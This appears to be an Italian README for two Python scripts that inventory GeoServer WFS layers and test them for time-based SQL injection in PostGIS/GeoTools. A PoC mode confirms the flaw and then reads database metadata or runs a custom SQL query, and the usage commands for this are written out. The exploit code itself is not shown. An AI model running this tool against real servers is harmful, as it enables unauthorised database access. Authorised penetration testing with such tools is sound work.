
Script Python per inventariare gli endpoint WFS di GeoServer e verificare vulnerabilità di SQL injection basate sul tempo in PostGIS/GeoTools, con una modalità PoC dedicata per test autorizzati.
Questo repository contiene due script Python per l'analisi degli endpoint WFS di GeoServer.
wfs_inventory.pyScopo: Inventariare layer, campi XSD e valori WFS, nonché verificare opzionalmente i candidati tramite un controllo basato sul tempo.
Esempi di esecuzione:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyScopo: Punto di ingresso combinato per l'inventario e una modalità PoC separata.
Esempi di esecuzione:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
Nota importante: Il controllo basato sul tempo e la modalità PoC devono essere utilizzati solo contro sistemi per i quali esiste un'autorizzazione esplicita al test. La normale modalità di inventario utilizza esclusivamente operazioni WFS regolari.
Rendere opzionalmente eseguibili:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
Il percorso predefinito /geoserver/wfs viene aggiunto automaticamente. Le seguenti indicazioni sono quindi equivalenti:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
In caso di installazione diversa, è necessario specificare il percorso WFS completo.
Solo per sistemi esplicitamente autorizzati:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
Durante il controllo, per ogni candidato appare una misurazione su stderr:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
Un screen superato non è ancora un esito positivo. Solo se anche la seconda misurazione, più lunga, viene superata, viene emesso un blocco di parametri.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE attiva automaticamente la diagnosi dettagliata e la scrive nel file specificato.
La modalità predefinita auto elabora le informazioni WFS in questo ordine:
GetCapabilities viene aperto una volta:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
La risposta XML viene trasmessa in streaming. Non appena viene trovato un FeatureType/Name, il successivo typeName è determinato.
Per questo layer viene eseguito immediatamente DescribeFeatureType con version=2.0.0.
Lo script estrae gli elementi XSD e seleziona i campi stringa/JSON con nomi simili a ID o numerici.
Il candidato viene verificato a seconda della chiamata:
--sleep: i valori campione devono essere JSON sintatticamente valido.--sleep N: vengono misurate una richiesta di controllo e una richiesta di verifica basata sul tempo. Il controllo del valore JSON viene saltato.Il risultato viene emesso immediatamente e flushato.
Solo successivamente viene letto il successivo typeName dalla risposta GetCapabilities in corso.
In questo modo non è necessario elaborare completamente una grande risposta GetCapabilities prima che appaia il primo risultato.
Senza --sleep, la modalità automatica considera per impostazione predefinita i campi stringa/JSON con nomi simili a ID o numerici.
Con --sleep, --candidate-scope auto utilizza invece tutti i semplici campi non geometrici. Il tipo XSD e il pattern del nome ID non bloccano più il controllo temporale. Ciò previene falsi negativi per tipi XSD numerici, data/booleani o specifici del produttore.
I pattern di nome riconosciuti includono:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
Nel controllo basato sul tempo, il nome del campo deve inoltre essere un semplice identificatore nel formato [A-Za-z_][A-Za-z0-9_]*.
Senza --sleep, viene verificato se i valori osservati possono essere interpretati sintatticamente come JSON. Pertanto, ad esempio, anche la stringa "383205" è considerata un candidato, perché il suo contenuto rappresenta un numero JSON valido. Questo controllo è un'euristica e non una prova di vulnerabilità.
Con --sleep 1, decide esclusivamente la misurazione del tempo. Un candidato è considerato positivo per impostazione predefinita se la richiesta di verifica richiede almeno il 70 percento in più del tempo di sleep richiesto rispetto alla richiesta di controllo. --timing-result-type auto verifica prima resultType=hits e, in caso di risultato negativo, successivamente resultType=results.
Le misurazioni provvisoriamente positive vengono obbligatoriamente confermate con un tempo di sleep più lungo. Senza un --confirm-sleep esplicito, lo script utilizza max(3, --sleep * 3), limitato a 10 secondi. In questo modo un singolo picco di latenza con --sleep 1 non porta più a vulnerable=true.
L'output standard contiene un blocco per ogni layer valido:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN contiene l'endpoint WFS normalizzato e i valori appropriati per --typename e --field_name.
--valid-fields N conta i blocchi di layer, non i singoli campi. Se esistono meno di N layer validi, il catalogo rimanente viene ulteriormente esaminato. Con --max-layers è possibile limitare il tempo di esecuzione massimo.
Le opzioni --diagnose o --valid-diagnose FILE aggiungono tra l'altro:
GetCapabilities utilizzata,DescribeFeatureType,GetFeature generata eEsempio:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
Limitare a un namespace:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
Ogni campo viene emesso come oggetto JSON con nome, tipo XSD, nillable, id_candidate e usable_property.
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
Esportare tutte le proprietà:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
Con --unique, le combinazioni identiche di valori di campo selezionati vengono emesse una sola volta.
wfs_inventory.py| Parametro | Predefinito | Significato |
|---|---|---|
--url URL | obbligatorio | Host, base GeoServer o endpoint WFS completo |
--mode auto|layers|fields|values | auto | Modalità operativa da eseguire |
--layer NAMESPACE:LAYER | – | Limitare la modalità automatica a un feature type; obbligatorio per fields e values |
--namespace PREFIX | – | Considerare solo i layer con questo prefisso di namespace |
--capabilities-file FILE | – | Utilizzare una risposta GetCapabilities locale invece di un download |
--field NAME | ripetibile | Proprietà da esportare in modalità values |
--all-properties | disattivato | Esportare tutte le proprietà in modalità values |
--unique | disattivato | Sopprimere combinazioni duplicate di valori di campo |
--page-size N | 500 | Feature per pagina GetFeature; intervallo da 1 a 5000 |
--sample-size N | 5 | Valori campione per layer per il controllo della sintassi JSON; intervallo da 1 a 100 |
--sleep SECONDS | 0 | Attivare la verifica basata sul tempo; consentiti 0 o da 1 a 10 secondi |
--candidate-scope auto|id|all | auto | Selezione dei candidati; auto utilizza senza sleep i campi ID e con sleep tutti i campi non geometrici |
--timing-result-type auto|hits|results | auto | Percorso di query del controllo temporale; auto prova hits, poi results |
--sleep-threshold RATIO |
geoserver_sqli_working.py può chiamare direttamente la funzione di inventario. Non appena viene specificato --valid-fields, viene eseguito esclusivamente l'inventario e il programma termina successivamente.
python3 geoserver_sqli_working.py \
--target https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
Internamente vengono passati i seguenti parametri a wfs_inventory.py:
--target -> --url
--valid-fields -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep
Senza un --sleep esplicito, il controllo basato sul tempo rimane disattivato in modalità inventario.
Solo per sistemi di test esplicitamente autorizzati:
python3 geoserver_sqli_working.py \
--target https://HOST/geoserver/wfs \
--typename namespace:layer \
--field_name FIELD \
--sleep 5
In modalità PoC, il percorso di destinazione non viene normalizzato automaticamente. Qui dovrebbe essere specificato l'endpoint WFS completo.
La modalità esegue prima un test baseline/sleep, testa successivamente le varianti oracle basate sul tempo presenti e, in caso di conferma riuscita, legge per impostazione predefinita i metadati del server/database. Con --query è invece possibile specificare una propria query scalare.
La modalità PoC disattiva attualmente internamente la verifica del certificato TLS. Per un semplice inventario, è preferibile utilizzare
wfs_inventory.py, poiché lì TLS viene verificato per impostazione predefinita.
geoserver_sqli_working.py| Parametro | Predefinito | Significato |
|---|---|---|
--target URL | obbligatorio | Host di destinazione o endpoint WFS; in modalità PoC utilizzare il percorso WFS completo |
--typename NAME | fink_bku:fink_meta_mitte_suedwest | Feature type per la modalità PoC |
--field_name NAME | obbligatorio in modalità PoC | Nome campo XSD semplice per jsonArrayContains |
--field-name NAME | Alias | Alias per --field_name |
--valid-fields N | – | Attivare la modalità inventario e fermarsi dopo N layer validi |
--valid-diagnose FILE | – | Scrivere il report di inventario dettagliato in FILE; richiede --valid-fields |
--sleep SECONDS | PoC: 5, inventario: disattivato | Durata dello sleep della rispettiva modalità |
--candidate-scope auto|id|all | auto | Selezione dei candidati in modalità inventario |
--timing-result-type auto|hits|results | auto | Percorso di query temporale in modalità inventario |
--sleep-threshold RATIO | 0.7 | Soglia temporale in modalità inventario |
--confirm-sleep SECONDS | automatico | Sleep di conferma in modalità inventario |
--query SQL | – | Query scalare personalizzata in modalità PoC |
--debug | disattivato | Mostrare condizioni, tempi di esecuzione e decisioni in modalità PoC |
La modalità automatica può generare JSON Lines invece di blocchi di testo:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--report-format jsonl \
--output report.jsonl
Con --diagnose, ogni record contiene inoltre URL, metadati dei candidati, valori di verifica e URL GetFeature specifici del campo.
Utilizzare un proxy:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--valid-fields 4
Fidarsi di una CA proxy personalizzata:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--proxy-ca proxy-ca.pem \
--valid-fields 4
Disattivare la verifica TLS per un sistema di test autorizzato:
python3 wfs_inventory.py \
--url https://HOST \
--insecure \
--valid-fields 4
--proxy-ca e --insecure non possono essere utilizzati insieme.
Per risposte GetCapabilities di grandi dimensioni, le seguenti opzioni aiutano:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--max-layers 100 \
--sample-size 1 \
--timeout 10 \
--retries 0 \
--delay 0
Note:
GetCapabilities viene richiesto una sola volta e successivamente trasmesso in streaming.--valid-fields 4 termina la scansione solo dopo quattro layer validi. Se esistono meno risultati, la ricerca continua fino alla fine o fino a --max-layers.--sample-size 1 riduce il costo dell'euristica JSON.--timing-result-type auto, dopo un risultato hits negativo vengono eseguite inoltre due richieste results.--candidate-scope id riduce il numero di richieste temporali, ma può tralasciare campi vulnerabili con altri nomi.--namespace e --start-layer-index possono limitare ulteriormente lo spazio di ricerca.The read operation timed out--timeout se il server risponde lentamente.--retries 0 per evitare lunghi tentativi.--max-layers e --namespace.--sample-size 1.--sleep, i candidati devono superare il controllo XSD/nome e il controllo della sintassi JSON a seconda di --candidate-scope.--sleep, vengono emessi come blocco di parametri solo i candidati confermati temporalmente; le misurazioni negative appaiono come [sleep-check] su stderr.--max-layers.Cannot do natural order without a primary keyPer la prima pagina GetFeature, lo script non invia startIndex=0, poiché alcuni layer GeoServer/JDBC senza chiave primaria impongono già un ordinamento naturale. Durante l'esportazione di ulteriori pagine, un tale layer può comunque richiedere una chiave primaria o un ordinamento supportato lato server.
schema does not define ...TypeLo script considera sia il consueto <LayerName>Type sia un complexType diverso, referenziato nell'elemento layer XSD globale o anonimo. Se l'errore persiste, la risposta DescribeFeatureType interessata dovrebbe essere verificata con --diagnose.
Il messaggio di errore OWS completo viene emesso su stderr. Le cause comuni sono proprietà non supportate, impostazioni di paging lato server o una configurazione dell'origine dati specifica del layer.
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
0.7 |
| Percentuale richiesta del tempo di sleep; intervallo da 0.5 a 1.0 |
--confirm-sleep SECONDS | 0/automatico | Sleep di conferma; 0 utilizza almeno 3× il primo tempo di sleep, intervallo da 1 a 10 |
--start-layer-index N | 0 | Saltare i primi N layer trasmessi in streaming |
--max-layers N | 0 | Elaborare al massimo N layer; 0 significa illimitato |
--valid-fields N | 0 | Fermarsi dopo N blocchi di layer validi; 0 significa illimitato |
--valid N | Alias | Alias retrocompatibile per --valid-fields |
--max-features N | 0 | Fermarsi dopo N feature in modalità values; 0 significa illimitato |
--format jsonl|csv|text | jsonl | Formato di output in modalità values |
--output FILE | stdout | Scrivere report o valori in un file |
--report-format blocks|jsonl | blocks | Formato del report automatico |
--diagnose | disattivato | Aggiungere URL, tipi, flag di selezione e statistiche di verifica |
--valid-diagnose FILE | – | Attivare la diagnosi e scrivere direttamente in FILE |
--delay SECONDS | 0.1 | Pausa tra i passaggi di risultato/verifica |
--timeout SECONDS | 30 | Timeout per richiesta HTTP |
--retries N | 2 | Tentativi dopo timeout o errore di rete; intervallo da 0 a 10 |
--proxy URL | – | Proxy HTTP(S), ad esempio http://127.0.0.1:8080 |
--proxy-ca FILE | – | Certificato CA PEM per fidarsi di un certificato proxy |
--insecure | disattivato | Disattivare la verifica del certificato TLS |
--authorization TEXT | I_AM_AUTHORIZED | Conferma di sicurezza; deve essere esattamente I_AM_AUTHORIZED |